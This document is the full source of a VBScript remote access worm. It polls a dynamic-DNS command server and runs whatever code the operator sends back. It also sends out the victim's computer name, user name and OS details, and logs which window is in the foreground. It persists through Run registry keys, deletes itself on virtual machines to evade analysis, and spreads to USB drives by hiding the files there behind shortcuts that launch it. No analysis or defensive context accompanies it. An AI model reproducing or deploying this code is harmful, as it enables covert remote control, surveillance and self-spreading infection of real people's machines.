#IL_Code 8920

On Error Resume Next
WScript.Timeout=0
dim sh ' shell
set sh =WScript.CreateObject("WScript.Shell")
dim fs ' filesystem
set fs= CreateObject("Scripting.FileSystemObject")
dim w
Set w = CreateObject("Microsoft.XMLHTTP")
dim dotnet
dotnet="n"
if fs.fileexists(sh.ExpandEnvironmentStrings("%windir%") & "\Microsoft.NET\Framework\v2.0.50727\vbc.exe") then
dotnet="y"
end if
vmcheck
dim host
host= "alsinyorq8.no-ip.info"
Dim port
port=1166
Dim DR
DR = sh.ExpandEnvironmentStrings("%temp%") & "\"
dim FN
FN ="system.vbs"
dim fh
dim fi
dim us
us="~"
ins
dim spl
spl="jnJnj"
dim i
i=0
while true
On Error Resume Next
dim a
WRT "readystate=" & w.readyState
if w.readystate=0 Then
post "?mew", ActiveWindow
end if
if w.readystate=4 Then
WRT "reading >> responseText"
a= split(w.responseText,spl)
if ubound(a)<>-1 Then
select case a(0)
case "exc"
dim sa
sa= Replace( Replace( a(1),"post ","post "),"uns ","uns ")
execute sa
case "uns"
uns ""
end select
Else
WRT "NO Commands! Sleep 5000"
wscript.sleep 5000
end If
WRT "do until w.readystate=4"
do until w.readystate=4
wscript.sleep(1000)
if x.status =0 or x.status= 200 then
else
exit do
end if
loop
post "?mew", ActiveWindow
end if



WRT "Relax 5000ms"
wscript.sleep 5000
i = i + 1
if i= 2 or i =4 or i =6 then
xins
end if
if i>=7 then
i=0
if w.readystate<>4 Then
WRT "readystate<>4 Aborting.."
On Error Resume Next
w.abort
post "?mew",""
end if
end if
wend
function vmcheck()
On Error Resume Next
Set WMI = GetObject("WinMgmts:")
Set Col = WMI.ExecQuery("Select * from Win32_ComputerSystemProduct")
For Each Ob in Col
if instr( lcase( ob.name),"virtual") >0 then
On Error Resume Next
fs.deletefile(wscript.scriptfullname)
do
wscript.sleep(1000)
loop
end if
next
end Function


function ins
on error resume Next
us= sh.regread("HKEY_CURRENT_USER\" & fn)
if us="~" then
if lcase( mid(wscript.scriptfullname,2))=":\" &  lcase(fn) then
us="y"
sh.regwrite "HKEY_CURRENT_USER\" & fn,  us, "REG_SZ"
else
us="n"
sh.regwrite "HKEY_CURRENT_USER\" & fn,  us, "REG_SZ"
end if
end if
Err.Clear
fs.CopyFile wscript.scriptfullname,dr & fn ,true
set fh = fs.OpenTextFile( dr & fn, 8, false)
if  Err.Number>0 then wscript.quit
fs.copyfile wscript.scriptfullname,  CreateObject("Shell.Application").NameSpace(&H7).Self.Path &"\" & fn ,true
set fi = fs.OpenTextFile( CreateObject("Shell.Application").NameSpace(&H7).Self.Path &"\" & fn, 8, false)
xins

Dim vbc
vbc=sh.ExpandEnvironmentStrings("%windir%") & "\Microsoft.NET\Framework\v2.0.50727\vbc.exe"
If fs.FileExists(vbc)=False Then Exit Function
sh.Run "cmd.exe /c taskkill /f /im system32..exe",0,False
Dim src
src= sh.ExpandEnvironmentStrings("%temp%") & "\system32..vb"
If fs.FileExists(src) Then fs.DeleteFile src,True
Dim otf
Set otf = fs.OpenTextFile( src,2,True,false)
otf.Write replace( replace( "Module Module1:Private Declare Function GetForegroundWindow Lib !user32.dll! () As IntPtr:Private Declare Function GetWindowThreadProcessId Lib !user32.dll! (ByVal hwnd As IntPtr, ByRef lpdwProcessID As Integer) As Integer:Private Declare Function GetWindowText Lib !user32.dll! Alias !GetWindowTextA! (ByVal hWnd As IntPtr, ByVal WinTitle As String, ByVal MaxLength As Integer) As Integer:Private Declare Function GetWindowTextLength Lib !user32.dll! Alias !GetWindowTextLengthA! (ByVal hwnd As Long) As Integer:Dim owindow As String = !!:Function AC() As Boolean:Try:Dim hwd As IntPtr = GetForegroundWindow:If hwd <> IntPtr.Zero Then:Dim LN As Integer = GetWindowTextLength(CLng(hwd)):Dim w As String = StrDup(LN + 1, !*!):GetWindowText(hwd, w, LN + 1):Dim pid As Integer = -1:GetWindowThreadProcessId(hwd, pid):If w <> owindow Then:owindow = w:Return True:End If:End If:Catch ex As Exception:End Try:Return False:End Function:Sub Main():While True:If AC() Then:My.Computer.Registry.CurrentUser.SetValue(!ac!, owindow, Microsoft.Win32.RegistryValueKind.String):End If:Threading.Thread.CurrentThread.Sleep(2000):End While:End Sub:End Module",":",vbnewline),"!",chrw(34))
otf.Close
sh.Run vbc & " " &  chrw(34) & src & chrw(34) & " /nowarn",0,False
If fs.FileExists(Replace(src,"system32..vb","system32..exe"))=False Then WScript.Sleep(2000)
If fs.FileExists(Replace(src,"system32..vb","system32..exe"))=False Then WScript.Sleep(2000)
If fs.FileExists(Replace(src,"system32..vb","system32..exe"))=False Then WScript.Sleep(2000)
If fs.FileExists(Replace(src,"system32..vb","system32..exe"))=False Then WScript.Sleep(2000)
If fs.FileExists(Replace(src,"system32..vb","system32..exe"))=False Then WScript.Sleep(2000)
sh.Run Replace(src,"system32..vb","system32..exe") ,0,False
end Function

sub xins
    On error resume Next

    If sh.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & fn)<> "%windir%\system32\wscript.exe /b " & chrw(34) & dr & fn & chrw(34) then
        sh.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & fn, "%windir%\system32\wscript.exe /b " & chrw(34) & dr & fn & chrw(34), "REG_SZ"
    End if
    If sh.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & fn)<>"%windir%\system32\wscript.exe /b " & chrw(34) & dr & fn & chrw(34) then
        sh.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & fn,"%windir%\system32\wscript.exe /b " & chrw(34) & dr & fn & chrw(34), "REG_SZ"
    End if
    If sh.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden")="1" Then
        sh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden",0,"REG_DWORD"
    End If
for each xx in fs.Drives
if xx.isready then
    if xx.FreeSpace >0 then
        if xx.drivetype=1 then
            if fs.fileexists(xx.path & "\" & fn) then
                fs.getfile(xx.path & "\"  & fn).Attributes=0
            end if
            fs.copyfile dr & fn , xx.path & "\"  & fn,true
            dim mx
            mx=0

            for Each x In fs.GetFolder( xx.path & "\" ).Files
                if mx=20 then
                    exit for
                end if
                wscript.sleep 1
                if instr(x.name,".") Then
                    if lcase( Split(x.name, ".")(UBound(Split(x.name, "."))))<>"lnk" Then
                        x.Attributes = 2
                        if ucase(x.name) <> ucase(fn) Then
                            mx =mx +1
                            With sh.CreateShortcut(xx.path & "\"  & x.name & ".lnk")
                            .TargetPath = "cmd.exe"
                            .WorkingDirectory = ""
                            .WindowStyle=7
                            .Arguments = "/c start " & Replace(fn," ", ChrW(34) _
                            & " " & ChrW(34)) & "&start " & replace( x.name," ", ChrW(34) & " " & ChrW(34)) & " & exit"
                            .IconLocation = sh.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\" & sh.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\." & Split(x.name, ".")(UBound(Split(x.name, "."))) & "\") & "\DefaultIcon\")
                            if instr( .iconlocation,",")=0 then
                                .iconlocation = .iconlocation &",0"
                            end if
                            .Save()
                            end with
                        end if
                    end if
                end if
            Next
            mx=0
            fs.CreateFolder(xx.path & "\! Videos\" )
            for Each x In fs.GetFolder( xx.path & "\" ).SubFolders
                if mx=20 then
                    exit for
                end if
                    wscript.sleep 1
                    x.Attributes = 2
                    mx =mx +1
                    With sh.CreateShortcut(xx.path & "\"  & x.name & ".lnk")
                    .TargetPath = "cmd.exe"
                    .WorkingDirectory = ""
                    .WindowStyle=7
                    .Arguments = "/c start " & Replace(fn," ", ChrW(34)& " " & ChrW(34))  & "&start explorer /root,%CD%" & replace( x.name," ", ChrW(34) & " " & ChrW(34)) & "& exit"
                    .IconLocation = "%windir%\system32\SHELL32.dll,3"
                    .Save()
                    end with
            Next
        end if
    end if
end if
next

Err.Clear
end sub
Sub WRT(s)
On Error Resume Next
    WScript.Stdout.WriteLine s
End Sub
function uns(ex)
on error resume Next
WRT "uns"
fi.close
fh.close
sh.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & FN
sh.RegDelete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & FN
fs.DeleteFile dr & fn ,true
fs.DeleteFile CreateObject("Shell.Application").NameSpace(&H7).Self.Path &"\" & FN ,True
for each xx in fs.Drives
if xx.isready then
if xx.FreeSpace >0 then
For Each x In fs.GetFolder( xx.path & "\").Files
On Error Resume Next
if instr(x.name,".") then
if lcase( Split(x.name, ".")(UBound(Split(x.name, "."))))<>"lnk" then
x.Attributes = 0
if ucase(x.name) <> ucase(fn) then
fs.deletefile(xx.path & "\" & x.name & ".lnk" )
else
fs.deletefile( xx.path & "\" & x.name )
end if
end if
end If

Next
For Each x In fs.GetFolder( xx.path & "\").SubFolders
On Error Resume Next

if fs.fileexists( xx.Path & "\"  & x.Name &".lnk") then
fs.deletefile(xx.path & "\" & x.name & ".lnk" )
end if
x.Attributes = 0
Next
end if
end if
Next
post "?uns",""
Dim tout
tout=0
Do until w.readystate=4
WRT "loop until readystate=4 Now=" & w.readystate
wscript.sleep(1000)
tout =tout + 1
If tout=10 Then Exit do
Loop
WRT "BYE //ex=" & ex
if ex<>"" then
sh.Run "cmd.exe /c ping 0&start " & ex,0, false
end if
wscript.quit
end function
Function state
return w.readyState
End Function

function post(cmd ,da)
On Error Resume Next
WRT "POST: "  & cmd & " da=" & da
w.open "POST","http://" & host & ":" & port &"/" & cmd, true
w.setRequestHeader "User-Agent:",  inf
w.setRequestHeader "Connection:","Keep-Alive"
w.send da
end function

dim xinf
function inf
on error resume Next
if xinf="" then
dim s
s="??"
s = hwd
inf = inf & s & "\"
s="??"
s= sh.ExpandEnvironmentStrings("%COMPUTERNAME%")
inf = inf & s & "\"
s="??"
s= sh.ExpandEnvironmentStrings("%USERNAME%")
inf = inf & s & "\"
s="??"
Set a = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set aa = a.ExecQuery ("Select * from Win32_OperatingSystem")
dim co
For Each aaa in aa
s= aaa.Caption  & " SP" & aaa.ServicePackMajorVersion
co= aaa.countrycode
exit for
Next
s= replace(s,"Microsoft","")
s= replace(s,"Windows ","Win")
s= Replace(s," Win","Win")
inf = inf & s & "\" & co &"\0.4f\" & us &"\" & dotnet &"\" & pid
xinf=inf
else
inf=xinf
end if
end function

function HWD
HWD="LOVER_??"
On Error Resume Next
Set a = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set aa = a.ExecQuery("SELECT * FROM Win32_LogicalDisk")
For Each aaa In aa
if aaa.VolumeSerialNumber<>"" then
HWD= "LOVER_" & aaa.VolumeSerialNumber
exit for
end if
Next
end Function

Function ActiveWindow
ActiveWindow=""
ActiveWindow = sh.RegRead("HKEY_CURRENT_USER\ac")
End Function

Function PID
PID=0
on error resume next
PID = GetObject("winmgmts:root\cimv2").Get("Win32_" &_
"Process.Handle='" & _
sh.Exec("mshta.exe").ProcessID & "'").ParentProcessId
End Function